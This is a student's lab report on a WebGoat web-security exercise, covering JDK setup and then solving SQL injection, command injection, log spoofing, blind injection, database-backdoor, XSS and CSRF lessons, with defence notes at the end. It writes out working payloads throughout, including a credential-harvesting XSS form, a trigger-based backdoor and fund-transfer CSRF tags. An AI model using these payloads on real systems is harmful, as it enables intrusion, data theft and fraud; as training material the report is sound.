2019-2020-2 20175319江野《网络对抗技术》Exp9 Web安全基础
1 实践内容
本实践的目标理解常用网络攻击技术的基本原理,
- 做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。
- 抓图包括学号,P图或无学号,扣0.5分 (0.5分)
- 抄袭别人者0分
题目成功截图:
1.1 JDK1.8安装
- 1、下载jdk安装包
- 2、建立目录,将下载的jdk复制过去并解压
mkdir -p /usr/local/java
cp jdk-8u161-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
tar xzvf jdk-8u91-linux-x64.tar.gz
- 3、配置环境变量
vim /etc/profile
将以下代码复制到文件末尾
JAVA_HOME=/usr/local/java/jdk1.8.0_161
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
- 4、通知系统java的位置
update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_161/bin/java" 1
update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_161/bin/javac" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_161/bin/javaws" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_161/bin/javaws" 1
- 5、设置默认JDK
update-alternatives --set java /usr/local/java/jdk1.8.0_161/bin/java
update-alternatives --set javac /usr/local/java/jdk1.8.0_161/bin/javac
update-alternatives --set javaws /usr/local/java/jdk1.8.0_161/bin/javaws
- 6、重新载入profile
source /etc/profile
- 7、检验安装是否完成
java -version
1.2 安装WebGoat
- 启动WebGoat
java -jar webgoat-container-7.0.1-war-exec.jar
- 在浏览器中输入
localhost:8080/WebGoat
进入WebGoat登录界面,使用页面下面的用户名和密码进行登录
- 登录后进入如下界面
2.1 SQL注入攻击
2.1.1 命令注入Command Injection
- 左侧课程栏点击
Injection Flaws -> Command Injection
,按F12查看网页源代码 - 在代码中找到名字为HelpFile的select元素,在
AccessControlMatrix.help
后面添加"& netstat -an"
- 修改后点击View
- 下方查看具体端口开放情况
2.1.2 数字型SQL注入Numeric SQL Injection
- 左侧课程栏选中
Injection Flaws -> Numeric SQL Injection
,按F12查看网页源代码 -
- 在代码中找到名字为station的select元素,在第一个Value值
value="101"
后添加or 1=1
- 在代码中找到名字为station的select元素,在第一个Value值
- 点击
GO!
查询到所有城市的天气情况。
2.1.3 日志欺骗Log Spoofing
- 左侧课程栏选中
Injection Flaws -> Log Spoofing
- 在用户名栏输入
jy5319%0d%0aLogin Succeeded for username: admin
,其中%0d
是回车,%oa
是换行符,密码随意输入,点击登录。
2.1.4 LAB: SQL Injection——Stage 1:String SQL Injection
- 左侧课程栏选中
Injection Flaws -> LAB: SQL Injection
,按F12查看网页源代码 - 找到密码输入框的代码,将
maxlength
改为12
- 登录用户选择管理员,密码栏输入
' or 1=1 --
2.1.5 字符串型注入String SQL Injection
- 左侧课程栏选中
Injection Flaws -> String SQL Injection
- 在查询框输入
Smith' or 1=1--
,执行go!
后可以看到所有人的卡号等信息
2.1.6 数据库后门Database Backdoors
- 左侧课程栏选中
Injection Flaws -> Database Backdoors
- ID栏输入101查询用户的信息
- ID栏输入语句
101; update employee set salary=175319
,提交后显示用户工资修改成功
- ID栏输入语句
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20175319@jojo.com'WHERE userid = NEW.userid
作用是在添加新用户时将其邮箱设置为指定邮箱
2.1.7 数字型盲注入Blind Numeric SQL Injection
- 左侧课程栏选中
Injection Flaws -> Blind Numeric SQL Injection
- 目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值,输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') < 5000 )
,得到结果为账号有效,说明pin值小于5000
- 持续使用二分法最后得出pin值为2364
2.1.8 字符串型盲注入Blind String SQL Injection
- 左侧课程栏选中
Injection Flaws -> Blind String SQL Injection
- 目标是找到pins表中cc_number字段值为4321432143214321的记录中pin字段的数值
- 输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'a' )
,得到结果有效,说明第一个字母小于a
- 通过二分法判断出所需pin的第一个字母。通过修改
SUBSTRING(字符串,开始位置,长度)
中的开始位置对后面的字母进行判断,最终确定PIN字段的值为Jill
2.2 XSS攻击
2.2.1 跨站脚本钓鱼攻击Phishing with XSS
- 编写一个用户登录的表单,以及一段脚本收集表单上输入的用户名和密码数据,并上传到
http://localhost/WebGoat/catcher?PROPERTY=yes...
<script>
function hack(){
alert("Had this been a real attack...Your credentials were just stolen.User Name="+document.forms[0].username.value+" Password="+document.forms[0].pwd.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form><HR><H3>Login:</H3><br>
<br>Username:<br><input type="text" id="username" name="username">
<br>Password:<br><input type="password" name = "pwd">
<br><input type="submit" name="login" value="login" onclick="hack()">
</form><HR>
- 用户输入用户名和密码信息,攻击者即可通过WebGoat获取这些信息
2.2.2 存储型XSS攻击Stored XSS Attacks
在title文本框输入任意内容,在Message文本框中输入<script>alert("You've been attacked by 20175319");</script>
点击提交后,点击生成的message,弹出对话框,说明攻击成功
2.2.3 反射型XSS攻击Reflected XSS Attacks
在序列号文本框输入<script>alert("You've been attacked by 20175319")</script>
,点击购买按钮,弹出对话框,说明攻击成功
2.3 CSRF攻击
2.3.1 Cross Site Request Forgery跨站请求伪造
title栏随便输入,页面右侧的scr和menu值分别为322和900,则在message中输入<img src="http://localhost:8080/WebGoat/attack?Screen=322&menu=900&transferFunds=5000" width="1" height="1" />
以图片形式将URL放入Message框中,用户点击图片就会触发CSRF事件,点击Submit提交。在Message List中生成以Title命名的消息。点击该消息,页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。可以从左侧的任务栏看到任务已完成。
2.3.2 绕过CSRF确认CSRF Prompt By‐Pass
页面右侧的scr和menu值分别为330和900,titile框中输入任意内容,message框中输入代码
<iframe src="attack?Screen=330&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=330&menu=900&transferFunds=CONFIRM"> </iframe>
点击生成的链接
3 基础问题回答
-
SQL注入攻击原理,如何防御
SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
防御方法:定制黑名单、限制查询长度、限制查询类型、白名单法、设置数据库权限、限制目录权限 -
XSS攻击的原理,如何防御
XSS攻击,通常指黑客通过HTML注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击行为。在这种行为最初出现之时,所有的演示案例全是跨域行为,所以叫做"跨站脚本" 。时至今日,随着Web端功能的复杂化,应用化,是否跨站已经不重要了,但XSS这个名字却一直保留下来。
防御方法:- 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
- 当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。
-
CSRF攻击原理,如何防御
CSRF即跨站请求攻击。简单的说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己以前认证过的站点并运行一些操作(如发邮件,发消息,甚至财产操作(如转账和购买商品))。因为浏览器之前认证过,所以被访问的站点会认为这是真正的用户操作而去运行。
防御方法:提交验证码、Referer Check、token验证、在HTTP头中自己定义属性并验证
4 实验收获与感想
本次实验使用webgoat进行了多种不同方式的网页攻击的尝试,在实践中学习了SQL注入攻击、XSS攻击、CSRF攻击的原理和过程,也对网页中存在的漏洞有了进一步的认识。